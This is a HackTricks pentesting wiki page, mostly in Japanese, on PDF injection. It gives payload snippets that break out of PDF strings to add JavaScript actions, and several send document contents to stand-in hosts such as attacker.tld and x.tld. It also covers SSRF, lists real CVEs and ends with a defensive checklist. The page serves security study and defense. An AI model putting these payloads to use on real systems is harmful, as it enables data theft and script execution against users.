PDF Injection

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

もし入力がPDFファイル内に反映されるなら、PDFデータを注入してJavaScriptを実行したり、SSRFを行ったり、PDFの内容を窃取したりできます。 PDFの構文は非常に寛容です — 入力を埋め込んでいる文字列や辞書から抜け出せるなら、完全に新しいオブジェクト(または同じオブジェクト内の新しいキー)を追記でき、Acrobat/Chromeはそれを喜んで解析します。 2024年以降、多数のバグバウンティ報告から、1つのエスケープされていない括弧またはバックスラッシュで十分にフルスクリプト実行が可能であることが示されています。

TL;DR – 現代の攻撃ワークフロー (2024-2026)

  1. 生成されたPDF内の**(parenthesis string)**、/URI ( … ) または /JS ( … ) フィールドに入る、ユーザーが制御する値を見つける。
  2. ) (文字列を閉じる)を注入し、以下のプリミティブのいずれかを続け、構文を有効に保つために別の開き括弧で終える。
  3. 悪意のあるPDFを被害者(またはファイルを自動的にレンダリングするバックエンドサービス — ブラインドバグに最適)に配布する。
  4. ペイロードがPDFビューアで実行される:
  • Chrome / Edge → PDFium Sandbox
  • Firefox → PDF.js (see CVE-2024-4367)
  • Acrobat → Full JavaScript API (can exfiltrate arbitrary file contents with this.getPageNthWord)

Example (annotation link hijack):

(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (

最初の ) は元の URI 文字列を閉じ、次に Acrobat がリンクをクリックしたときに実行する新しい Action 辞書を追加します。

有用なインジェクションプリミティブ

目的Payload Snippet備考
JavaScript(ドキュメントを開いたとき)/OpenAction << /S /JavaScript /JS (app.alert(1)) >>ドキュメントを開いたときに即座に実行されます(Acrobat では動作しますが、Chrome では動作しません)。
JavaScript(リンクで実行)/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>/Link アノテーションを制御できる場合、PDFium と Acrobat で動作します。
ブラインドデータの窃取<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)JS 内で this.getPageNthWord と組み合わせてコンテンツを盗みます。
Server-Side SSRFSame as above but target an internal URL – great when the PDF is rendered by back-office services that honour /URI.上記と同じですが、内部 URL をターゲットにします — PDF が /URI を尊重するバックオフィスサービスによってレンダリングされる場合に有効です。
Additional Actions (/AA)/AA << /O << /S /JavaScript /JS (app.alert(1)) >> >>Page/Annotation/Form 辞書にアタッチして、開く/フォーカス時に実行します。
新しいオブジェクト用の改行\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobjライブラリが改行文字の注入を許す場合、完全に新しいオブジェクトを作成できます。

埋め込みアクションを注入ターゲットとして扱う

PDF ビューアは、/OpenAction/AA(Additional Actions)のような embedded actions を、ドキュメントのオープン時や特定のイベント発生時に実行できるファーストクラスの機能として扱います。もしアクションを受け付ける辞書(Catalog、Page、Annotation、または Form field)に注入できるなら、/AA ツリーを継ぎ接ぎして、開く/フォーカス時に JavaScript を起動できます。

Example payload for generator-side object injection (close the original string/dictionary and inject /AA):

) >> /AA << /O << /S /JavaScript /JS (app.alert('AA fired')) >> >> (

このパターンは、攻撃者が制御する入力が addJS(または特定の AcroForm フィールド)に渡され、意図した JavaScript 文字列から抜け出して Additional Action 辞書を注入してしまう、最近の jsPDF の問題に一致します。

Blind Enumeration Trick

Gareth Heyes (PortSwigger) は、未知のドキュメント内のすべてのオブジェクトを列挙するワンライナーを公開しました — 生成された PDF を確認できない場合に便利です:

) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (

The code iterates over the Acrobat DOM and makes outbound requests for every property/value pair, giving you a JSON-ish dump of the file. See the white-paper “Portable Data exFiltration” for the full technique.

実際の脆弱性 (2023-2026)

  • CVE-2026-25755 – jsPDF addJS PDF object injection: attacker-controlled strings can close the JS literal and inject /AA/O/JavaScript actions that fire on open/focus.
  • CVE-2024-4367 – Arbitrary JavaScript execution in Firefox’s PDF.js prior to 4.2.67 bypassed the sandbox with a crafted /JavaScript action.
  • バグバウンティ 2024-05 – Major fintech allowed customer-supplied invoice notes that landed in /URI; report paid $10k after demonstrated SSRF to internal metadata host using file:/// URI.
  • CVE-2023-26155node-qpdf command-injection via unsanitised PDF path shows the importance of escaping backslashes and parentheses even before the PDF layer.

防御チートシート

  1. Never concatenate raw user input inside () strings or names. Escape \, (, ) as required by §7.3 of the PDF spec or use hex strings <...>.
  2. If you build links, prefer /URI (https://…) that you fully URL-encode; block javascript: schemes in client viewers.
  3. Strip or validate /OpenAction, /AA (additional actions), /Launch, /SubmitForm and /ImportData dictionaries when post-processing PDFs.
  4. On the server side, render untrusted PDFs with a headless converter (e.g. qpdf –decrypt –linearize) that removes JavaScript and external actions.
  5. Keep PDF viewers up to date; PDF.js < 4.2.67 and Acrobat Reader before July 2024 patches allow trivial code execution.
  6. If you use client-side generators (e.g., jsPDF), never pass untrusted input into addJS or AcroForm setters that end up inside PDF action dictionaries.

参考文献

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする